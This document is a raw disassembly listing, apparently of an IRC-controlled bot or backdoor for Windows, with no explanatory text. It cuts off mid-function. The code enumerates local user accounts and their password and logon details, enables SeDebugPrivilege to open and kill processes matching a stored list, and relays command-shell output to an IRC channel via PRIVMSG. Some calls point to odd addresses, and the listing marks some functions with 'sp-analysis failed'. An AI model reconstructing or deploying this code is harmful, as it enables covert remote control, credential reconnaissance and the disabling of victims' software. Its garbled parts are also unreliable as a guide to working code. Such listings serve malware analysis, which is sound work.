[ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov edi, eax call sub_418C2B push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2B add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB52C pop edi leave retn sub_418E7C endp ; =============== S U B R O U T I N E ======================================= sub_418ED6 proc near ; CODE XREF: sub_418DB0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push eax push esi call dword_4CB51C pop esi retn sub_418ED6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF7 proc near ; CODE XREF: sub_418DB0+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CB6AC test eax, eax mov [ebp+arg_0], eax jnz loc_41929F mov eax, [ebp+var_4] test eax, eax jz loc_4192DA push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419016 dec eax jz short loc_41900F dec eax jz short loc_419008 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419008: ; CODE XREF: sub_418EF7+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_41900F: ; CODE XREF: sub_418EF7+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901B ; --------------------------------------------------------------------------- loc_419016: ; CODE XREF: sub_418EF7+102j mov eax, offset aGuest ; "Guest" loc_41901B: ; CODE XREF: sub_418EF7+10Fj ; sub_418EF7+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A73 add esp, 20h pop edi pop ebx jmp short loc_4192CB ; --------------------------------------------------------------------------- loc_41929F: ; CODE XREF: sub_418EF7+35j push eax lea eax, [ebp+var_204] push offset unk_439860 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A73 add esp, 20h loc_4192CB: ; CODE XREF: sub_418EF7+3A6j cmp [ebp+var_4], 0 jz short loc_4192DA push [ebp+var_4] call dword_4CB6E4 loc_4192DA: ; CODE XREF: sub_418EF7+40j ; sub_418EF7+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192E0 proc near ; CODE XREF: sub_401ACD+473Cp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2B push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 18h loc_41931F: ; CODE XREF: sub_4192E0+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB5B4 cmp eax, esi mov [ebp+var_C], eax jz short loc_419380 cmp eax, 0EAh jz short loc_419380 push eax push eax call sub_419460 pop ecx push eax lea eax, [ebp+var_218] push offset unk_439A50 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 24h jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_419380: ; CODE XREF: sub_4192E0+62j ; sub_4192E0+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940E xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FB loc_419392: ; CODE XREF: sub_4192E0+EDj cmp edi, esi jz short loc_4193D1 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419392 jmp short loc_4193FB ; --------------------------------------------------------------------------- loc_4193D1: ; CODE XREF: sub_4192E0+B4j lea eax, [ebp+var_218] push offset unk_439A1C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 1Ch loc_4193FB: ; CODE XREF: sub_4192E0+9Ej ; sub_4192E0+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940E push edi call dword_4CB6E4 xor edi, edi mov [ebp+var_4], edi loc_41940E: ; CODE XREF: sub_4192E0+A5j ; sub_4192E0+120j cmp [ebp+var_C], 0EAh jz loc_41931F cmp edi, esi jz short loc_419426 push edi call dword_4CB6E4 loc_419426: ; CODE XREF: sub_4192E0+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192E0 endp ; =============== S U B R O U T I N E ======================================= sub_419460 proc near ; CODE XREF: sub_418A99+41p ; sub_418C8F+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419512 jz loc_41950B cmp eax, 7Bh ja short loc_4194D7 jz short loc_4194CD cmp eax, 5 jz short loc_4194C3 cmp eax, 8 jz short loc_4194B9 cmp eax, 32h jz short loc_4194AF cmp eax, 35h jz short loc_4194A5 cmp eax, 57h jnz loc_419561 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194A5: ; CODE XREF: sub_419460+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194AF: ; CODE XREF: sub_419460+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194B9: ; CODE XREF: sub_419460+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194C3: ; CODE XREF: sub_419460+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194CD: ; CODE XREF: sub_419460+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194D7: ; CODE XREF: sub_419460+1Aj sub eax, 7Ch jz short loc_419504 sub eax, 7C8h jz short loc_4194FD dec eax jz short loc_4194F3 dec eax jnz short loc_419561 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194F3: ; CODE XREF: sub_419460+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419582 ; --------------------------------------------------------------------------- loc_4194FD: ; CODE XREF: sub_419460+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419504: ; CODE XREF: sub_419460+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41950B: ; CODE XREF: sub_419460+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419512: ; CODE XREF: sub_419460+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954B jz short loc_419544 sub eax, 8ADh jz short loc_419576 dec eax dec eax jz short loc_41953D dec eax jz short loc_419536 dec eax dec eax jnz short loc_419561 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419536: ; CODE XREF: sub_419460+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41953D: ; CODE XREF: sub_419460+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419544: ; CODE XREF: sub_419460+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41954B: ; CODE XREF: sub_419460+B9j sub eax, 8CAh jz short loc_41957D sub eax, 17h jz short loc_419576 sub eax, 25h jz short loc_41956F sub eax, 29h jz short loc_419568 loc_419561: ; CODE XREF: sub_419460+35j ; sub_419460+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419568: ; CODE XREF: sub_419460+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41956F: ; CODE XREF: sub_419460+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_419576: ; CODE XREF: sub_419460+C2j ; sub_419460+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419582 ; --------------------------------------------------------------------------- loc_41957D: ; CODE XREF: sub_419460+F0j push offset aNetworkConnect ; "Network connection not found." loc_419582: ; CODE XREF: sub_419460+40j ; sub_419460+4Aj ... push offset dword_4DB270 call sub_41B886 pop ecx mov eax, offset dword_4DB270 pop ecx retn sub_419460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419594 proc near ; CODE XREF: sub_401ACD+4782p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB664 test eax, eax jnz short loc_419624 mov esi, offset dword_4DB06C push offset unk_439D84 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964D ; --------------------------------------------------------------------------- loc_419624: ; CODE XREF: sub_419594+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_419460 pop ecx mov esi, offset dword_4DB06C push eax push offset dword_439D58 push esi call sub_41B886 add esp, 14h loc_41964D: ; CODE XREF: sub_419594+8Ej mov eax, esi pop esi leave retn sub_419594 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419652 proc near ; CODE XREF: sub_416F1B+45p ; sub_416F1B+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 271066Fh push eax call dword_4CB638 test eax, eax jnz short loc_419671 leave retn ; --------------------------------------------------------------------------- loc_419671: ; CODE XREF: sub_419652+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB610 test eax, eax jz short loc_4196AF cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419698 or [ebp+var_8], 2 jmp short loc_41969C ; --------------------------------------------------------------------------- loc_419698: ; CODE XREF: sub_419652+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969C: ; CODE XREF: sub_419652+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB6C0 mov esi, eax loc_4196AF: ; CODE XREF: sub_419652+32j push [ebp+var_4] call near ptr 2660919h nop mov eax, esi pop esi leave retn sub_419652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BD proc near ; CODE XREF: sub_401ACD+7916p ; sub_4198EC+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB674, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BC cmp dword_4CB658, ebx jz loc_4198BC cmp dword_4CB568, ebx jz loc_4198BC push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push ebx push 0Fh call dword_4CB674 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AF lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB658 mov esi, dword_427068 test eax, eax jz loc_4198AA lea eax, [ebp+var_130] push eax push edi call dword_4CB568 test eax, eax jz loc_4198AA mov edi, dword_427084 mov ebx, 1F0FFFh loc_419781: ; CODE XREF: sub_4196BD+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E8 mov [ebp+var_4], offset off_439DB0 loc_41978F: ; CODE XREF: sub_4196BD+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2820000h test eax, eax jz short loc_4197B7 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439E10 jb short loc_41978F jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197B7: ; CODE XREF: sub_4196BD+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_419890 push 0 push eax call near ptr 2700D13h nop test eax, eax jnz loc_419890 loc_4197DE: ; CODE XREF: sub_4196BD+1B9j push [ebp+var_4] call esi jmp loc_419890 ; --------------------------------------------------------------------------- loc_4197E8: ; CODE XREF: sub_4196BD+C9j cmp [ebp+arg_C], eax jnz loc_41987B cmp [ebp+arg_4], eax jz loc_419890 push [ebp+var_128] push 8 call dword_4CB674 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983B lea ecx, [ebp+var_354] push ecx push eax call dword_4CB514 push [ebp+var_128] test eax, eax jz short loc_419841 lea eax, [ebp+var_234] jmp short loc_419847 ; --------------------------------------------------------------------------- loc_41983B: ; CODE XREF: sub_4196BD+15Cj push [ebp+var_128] loc_419841: ; CODE XREF: sub_4196BD+174j lea eax, [ebp+var_10C] loc_419847: ; CODE XREF: sub_4196BD+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h jmp loc_4197DE ; --------------------------------------------------------------------------- loc_41987B: ; CODE XREF: sub_4196BD+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C3 loc_419890: ; CODE XREF: sub_4196BD+F5j ; sub_4196BD+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB568 test eax, eax jnz loc_419781 xor ebx, ebx loc_4198AA: ; CODE XREF: sub_4196BD+9Dj ; sub_4196BD+B3j push [ebp+var_8] call esi loc_4198AF: ; CODE XREF: sub_4196BD+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx loc_4198BC: ; CODE XREF: sub_4196BD+3Aj ; sub_4196BD+46j ... xor eax, eax loc_4198BE: ; CODE XREF: sub_4196BD+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C3: ; CODE XREF: sub_4196BD+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2700D13h nop test eax, eax jnz short loc_4198E7 push edi call esi jmp short loc_4198BC ; --------------------------------------------------------------------------- loc_4198E7: ; CODE XREF: sub_4196BD+223j push 1 pop eax jmp short loc_4198BE sub_4196BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EC proc near ; DATA XREF: sub_401ACD+26CEo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439FB0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994B push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A73 add esp, 14h loc_41994B: ; CODE XREF: sub_4198EC+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BD add esp, 18h test eax, eax jnz short loc_419973 push offset unk_439F8C jmp short loc_419978 ; --------------------------------------------------------------------------- loc_419973: ; CODE XREF: sub_4198EC+7Ej push offset unk_439F68 loc_419978: ; CODE XREF: sub_4198EC+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AB push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A73 add esp, 14h loc_4199AB: ; CODE XREF: sub_4198EC+9Dj lea eax, [ebp+var_298] push eax call sub_4151AD push [ebp+var_14] call sub_40B413 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_4198EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p ; sub_40B232+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 26803B1h nop mov esi, eax test esi, esi jz short loc_4199FC push 0 push esi nop call near ptr 2700D13h test eax, eax jnz short loc_4199FC push esi xor edi, edi nop call near ptr 2660919h loc_4199FC: ; CODE XREF: sub_4199CA+1Aj ; sub_4199CA+27j mov eax, edi pop edi pop esi retn sub_4199CA endp ; --------------------------------------------------------------------------- byte_419A01 db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h dd 0E1E89000h, 0EB022665h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap ; sub_419A89+7Ep ... mov eax, dword_4DB8D8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A35 push eax call esi loc_419A35: ; CODE XREF: sub_419A21+Fj mov eax, dword_4DB8E0 cmp eax, 0FFFFFFFFh jz short loc_419A42 push eax call esi loc_419A42: ; CODE XREF: sub_419A21+1Cj mov eax, dword_4DB8D4 cmp eax, 0FFFFFFFFh jz short loc_419A4F push eax call esi loc_419A4F: ; CODE XREF: sub_419A21+29j pop esi retn sub_419A21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB8DC call near ptr 26F0000h nop test eax, eax jnz short loc_419A84 call sub_419A21 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A84: ; CODE XREF: sub_419A51+28j push 1 pop eax leave retn sub_419A51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A89 proc near ; CODE XREF: sub_419B10+D3p ; sub_419B10+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D808 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACC push 7D0h nop call near ptr 2680000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE3 ; --------------------------------------------------------------------------- loc_419ACC: ; CODE XREF: sub_419A89+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE3: ; CODE XREF: sub_419A89+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB6A4 test eax, eax jg short loc_419B0C call sub_419A21 loc_419B0C: ; CODE XREF: sub_419A89+7Cj xor eax, eax leave retn sub_419A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B10 proc near ; DATA XREF: sub_419C65+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB8E4 loc_419B28: ; CODE XREF: sub_419B10+79j ; sub_419B10+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB8D8 nop call near ptr 282086Bh test eax, eax jz loc_419BF6 cmp [ebp+var_4], edi jnz short loc_419B8B lea eax, [ebp+var_8] push eax push dword_4DB8D4 nop call near ptr 2820451h test eax, eax jz short loc_419B81 cmp [ebp+var_8], 103h jnz loc_419C1A loc_419B81: ; CODE XREF: sub_419B10+62j push 0Ah nop call near ptr 2680000h jmp short loc_419B28 ; --------------------------------------------------------------------------- loc_419B8B: ; CODE XREF: sub_419B10+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA2 loc_419B92: ; CODE XREF: sub_419B10+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BF0 inc eax cmp eax, [ebp+var_4] jb short loc_419B92 loc_419BA2: ; CODE XREF: sub_419B10+80j mov [ebp+var_4], esi loc_419BA5: ; CODE XREF: sub_419B10+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB8D8 nop call near ptr 2700000h test eax, eax jz short loc_419C42 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB918 call sub_419A89 add esp, 0Ch jmp loc_419B28 ; --------------------------------------------------------------------------- loc_419BF0: ; CODE XREF: sub_419B10+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BF6: ; CODE XREF: sub_419B10+45j push offset unk_43A038 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push 1 call near ptr 26E0000h nop loc_419C1A: ; CODE XREF: sub_419B10+6Bj call sub_419A21 push offset unk_43A010 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi nop call near ptr 26E0000h loc_419C42: ; CODE XREF: sub_419B10+C3j push offset unk_439FE0 push ebx push dword_4DB918 call sub_419A89 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi nop call near ptr 26E0000h sub_419B10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C 